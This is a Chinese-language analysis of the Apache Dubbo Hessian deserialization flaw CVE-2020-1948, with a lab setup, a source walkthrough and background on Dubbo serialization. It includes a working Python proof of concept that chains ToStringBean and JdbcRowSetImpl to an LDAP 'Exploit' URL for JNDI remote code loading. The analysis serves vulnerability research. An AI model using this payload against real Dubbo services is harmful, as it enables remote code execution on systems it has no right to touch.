
[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析
簡介
Dubbo 是一款高性能、輕量級的開源 Java RPC 框架,它提供了三大核心能力:面向接口的遠程方法調用,智能容錯和負載均衡,以及服務自動注冊和發現。
POC
https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
影響版本
-
Dubbo 2.7.0 to 2.7.6 -
Dubbo 2.6.0 to 2.6.7 -
Dubbo all 2.5.x versions (not supported by official team any longer)
環境搭建
https://github.com/apache/dubbo-spring-boot-project
下載 2.7.6 版本,用 IDEA 打開 dubbo-spring-boot-samples 文件夾,在provider-sample
文件夾下的 pom 里添加:
<dependency>
<groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency>
maven 開始運行 springboot。
漏洞分析
python 的 poc
# -*- coding: utf-8 -*-
#pip3 install dubbo-py from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client = DubboClient('127.0.0.1', 12345) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8087/Exploit", strMatchColumns=["foo"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='cn.rui0', method_name='rce', args=[toStringBean])
發送 poc
org.apache.dubbo.remoting.RemotingException: Not found exported service: cn.rui0:1.0:12345in [org.apache.dubbo.spring.boot.demo.consumer.DemoService:1.0.0:12345], may be version or group mismatch , channel:consumer:/127.0.0.1:61624 --> provider: /127.0.0.1:12345, message:RpcInvocation [methodName=rce, parameterTypes=[class com.rometools.rome.feed.impl.ToStringBean], arguments=[], attachments={input=294, path=cn.rui0, dubbo=2.5.3, version=1.0}]
at org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker(DubboProtocol.java:265) ~[dubbo-2.7.6.jar:2.7.6]
at org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument(CallbackServiceCodec.java:280) ~[dubbo-2.7.6.jar:2.7.6]
at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:161) [dubbo-2.7.6.jar:2.7.6]
at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]
at org.apache.dubbo.remoting.transport.DecodeHandler.decode(DecodeHandler.java:57) [dubbo-2.7.6.jar:2.7.6]
at org.apache.dubbo.remoting.transport.DecodeHandler.received(DecodeHandler.java:44) [dubbo-2.7.6.jar:2.7.6]
at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo-2.7.6.jar:2.7.6]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_121]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_121]
at java.lang.Thread.run(Thread.java:745) [na:1.8.0_121]

根據報錯,其實已經把觸發的地方暴露了。
從at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]
開始跟。
跟到org\apache\dubbo\rpc\protocol\dubbo\DecodeableRpcInvocation.java
139 行, 遇到 in 是 input 的內容,看下這個 readobject 是怎么寫的。
public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException { return (T) mH2i.readObject(cls); }
mH2i.readObject(cls)繼續 readobject,mH2i
的內容是
public Object readObject(Class cl) throws IOException { return readObject(cl, null, null); } @Override public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException { if (expectedClass == null || expectedClass == Object.class) return readObject(); int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read(); switch (tag) { case 'N': return null; case 'H': { Deserializer reader = findSerializerFactory().getDeserializer(expectedClass); boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2; // fix deserialize of short type return reader.readMap(this , keyValuePair ? expectedTypes[0] : null , keyValuePair ? expectedTypes[1] : null); } case 'M': { String type = readType(); // hessian/3bb3 if ("".equals(type)) { Deserializer reader; reader = findSerializerFactory().getDeserializer(expectedClass); return reader.readMap(this); } else { Deserializer reader; reader = findSerializerFactory().getObjectDeserializer(type, expectedClass); return reader.readMap(this); } } case 'C': { readObjectDefinition(expectedClass); return readObject(expectedClass); } case 0x60: case 0x61: case 0x62: case 0x63: case 0x64: case 0x65: case 0x66: case 0x67: case 0x68: case 0x69: case 0x6a: case 0x6b: case 0x6c: case 0x6d: case 0x6e: case 0x6f: { int ref = tag - 0x60; int size = _classDefs.size(); if (ref < 0 || size <= ref) throw new HessianProtocolException("'" + ref + "' is an unknown class definition"); ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref); return readObjectInstance(expectedClass, def); } case 'O': { int ref = readInt(); int size = _classDefs.size(); if (ref < 0 || size <= ref) throw new HessianProtocolException("'" + ref + "' is an unknown class definition"); ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref); return readObjectInstance(expectedClass, def); } case BC_LIST_VARIABLE: { String type = readType(); Deserializer reader; reader = findSerializerFactory().getListDeserializer(type, expectedClass); Object v = reader.readList(this, -1); return v; } case BC_LIST_FIXED: { String type = readType(); int length = readInt(); Deserializer reader; reader = findSerializerFactory().getListDeserializer(type, expectedClass); boolean valueType = expectedTypes != null && expectedTypes.length == 1; Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null); return v; } case 0x70: case 0x71: case 0x72: case 0x73: case 0x74: case 0x75: case 0x76: case 0x77: { int length = tag - 0x70; String type = readType(); Deserializer reader; reader = findSerializerFactory().getListDeserializer(null, expectedClass); boolean valueType = expectedTypes != null && expectedTypes.length == 1; // fix deserialize of short type Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null); return v; } case BC_LIST_VARIABLE_UNTYPED: { Deserializer reader; reader = findSerializerFactory().getListDeserializer(null, expectedClass); boolean valueType = expectedTypes != null && expectedTypes.length == 1; // fix deserialize of short type Object v = reader.readList(this, -1, valueType ? expectedTypes[0] : null); return v; } case BC_LIST_FIXED_UNTYPED: { int length = readInt(); Deserializer reader; reader = findSerializerFactory().getListDeserializer(null, expectedClass); boolean valueType = expectedTypes != null && expectedTypes.length == 1; // fix deserialize of short type Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null); return v; } case 0x78: case 0x79: case 0x7a: case 0x7b: case 0x7c: case 0x7d: case 0x7e: case 0x7f: { int length = tag - 0x78; Deserializer reader; reader = findSerializerFactory().getListDeserializer(null, expectedClass); boolean valueType = expectedTypes != null && expectedTypes.length == 1; // fix deserialize of short type Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null); return v; } case BC_REF: { int ref = readInt(); return _refs.get(ref); } } if (tag >= 0) _offset--; // hessian/3b2i vs hessian/3406 // return readObject(); Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this); return value; }
來到com\alibaba\com\caucho\hessian\io\Hessian2Input.java
可以看到 class com.rometools.rome.feed.impl.ToStringBean 就是期望類 expectedClass(可以看下 fastjson 期望類),

第二次循環到class java.lang.Class
, 跟到com\alibaba\com\caucho\hessian\io\ClassDeserializer.java
public Object readObject(AbstractHessianInput in, String[] fieldNames) throws IOException { int ref = in.addRef(null); String name = null; for (int i = 0; i < fieldNames.length; i++) { if ("name".equals(fieldNames[i])) name = in.readString(); else in.readObject(); } Object value = create(name); in.setRef(ref, value); return value; }
第三次 com\alibaba\com\caucho\hessian\io\ClassDeserializer.java

dubbo rpc原理
根本原因我們來學習一下 dubbo RPC 的原理。可以參考這篇文章: https://www.jianshu.com/p/93c00a391e09
和https://blog.csdn.net/zhuqiuhui/article/details/89463642
dubbo 支持多種序列化方式並且序列化是和協議相對應的。比如:dubbo 協議的 dubbo, hessian2,java,compactedjava,rmi 協議缺省為 java,以及 http 協議的 json 等。
-
dubbo 序列化:阿里尚未開發成熟的高效 java 序列化實現,阿里不建議在生產環境使用它 -
hessian2 序列化:hessian 是一種跨語言的高效二進制序列化方式。但這里實際不是原生的 hessian2 序列化,而是阿里修改過的 hessian lite,它是 dubbo RPC 默認啟用的序列化方式 -
json 序列化:目前有兩種實現,一種是采用的阿里的 fastjson 庫,另一種是采用 dubbo 中自己實現的簡單 json 庫,但其實現都不是特別成熟,而且 json 這種文本序列化性能一般不如上面兩種二進制序列化。 -
java 序列化:主要是采用 JDK 自帶的 Java 序列化實現,性能很不理想。
這四種主要序列化方式的性能從上到下依次遞減。對於 dubbo RPC 這種追求高性能的遠程調用方式來說,實際上只有 1、2 兩種高效序列化方式比較般配,而第 1 個 dubbo 序列化由於還不成熟,所以實際只剩下 2 可用,所以 dubbo RPC 默認采用 hessian2 序列化。
但 hessian 是一個比較老的序列化實現了,而且它是跨語言的,所以不是單獨針對 java 進行優化的。而 dubbo RPC 實際上完全是一種 Java to Java 的遠程調用,其實沒有必要采用跨語言的序列化方式(當然肯定也不排斥跨語言的序列化)。
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